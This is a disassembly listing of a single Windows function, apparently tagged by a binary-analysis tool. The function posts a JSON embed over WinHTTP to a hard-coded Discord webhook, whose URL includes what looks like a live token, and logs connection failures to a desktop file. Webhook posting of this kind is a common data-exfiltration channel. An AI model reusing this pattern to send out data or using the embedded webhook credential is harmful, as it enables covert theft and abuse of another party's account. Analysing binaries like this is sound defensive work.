Function at 0x1400021b0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140033080]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rsi, rdx
mov r14, rcx
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], rdx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Windows_TCP
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp - 0x50], rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp - 0x58], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str._api_webhooks_1169365202777677977_lwEFmo32tQ_X20c6Vop4iYNIMuKkQkLpu2_DQc6ievWa7dp0Oca5oc22n5u_zDyZqWkm
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r8d, [rbx + 8]
lea rdx, str.16711680
lea rcx, [rbp - 0x18]
call fcn.140004e50
nop
mov r13, qword [rsi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x1f
jb 0x1400027ad
mov r12, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400022aa
mov r12, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea r15, [r13 + 0x1f]
mov ebx, 0xf
lea rdi, [rsp + 0x48]
cmp r15, rbx
jbe 0x140002348
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000230a
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400065a8
test rax, rax
je 0x1400027b3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002343
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002332
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400027a1
jmp 0x1400022eb
test rcx, rcx
je 0x140002341
call fcn.1400065a8
mov rdi, rax
jmp 0x140002343
xor edi, edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.__embeds_:_____description_:_]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x14002d5a8]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x14002d5b0]
mov dword [rdi + 0x18], eax
movzx eax, word [0x14002d5b4]
mov word [rdi + 0x1c], ax
movzx eax, byte [0x14002d5b6]
mov byte [rdi + 0x1e], al
lea rcx, [rdi + 0x1f]
mov r8, r13
mov rdx, r12
call fcn.140008440
mov byte [rdi + r15], 0
mov r8d, 0xd
lea rdx, str.____title_:__
lea rcx, [rsp + 0x48]
call fcn.140004520
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1400023ee
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp - 0x78]
call fcn.140004520
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 7
lea rdx, str._____
lea rcx, [rsp + 0x68]
call fcn.140004520
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400024ac
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027b9
call fcn.1400065a0
movdqa xmm0, xmmword [0x14002d680]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x1400024fa
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027bf
call fcn.1400065a0
movdqa xmm0, xmmword [0x14002d680]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002548
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002543
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027c5
call fcn.1400065a0
movdqa xmm0, xmmword [0x14002d680]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], rdi
mov eax, dword [rbp - 0x28]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400025a8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
jmp 0x14000263c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x10]
call fcn.140008b00
mov r8d, 2
lea rdx, str.C:UsersEfeDesktop_baglanmahatasi.txt
lea rcx, [rbp + 0x10]
call fcn.140003780
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x10], rax
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xc], edx
lea rcx, [rbp + 0x18]
call fcn.1400034c0
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x10], rax
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xb8], rax
lea rcx, [rbp + 0xb8]
call fcn.140005cf8
nop
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140002695
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027cb
call fcn.1400065a0
movdqa xmm0, xmmword [0x14002d680]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1400026e2
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027d1
call fcn.1400065a0
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000271c
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140002717
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000279b
mov rcx, r8
call fcn.1400065a0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140002762
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000275d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400027a7
mov rcx, r8
call fcn.1400065a0
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140006580
mov rbx, qword [rsp + 0x280]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14000e838
nop
call fcn.140001240
nop
call fcn.14000e838
nop
call fcn.1400012e0
int3
call fcn.14000e838
nop
call fcn.14000e838
nop
call fcn.14000e838
nop
call fcn.14000e838
nop
call fcn.14000e838
nop
call fcn.14000e838
int3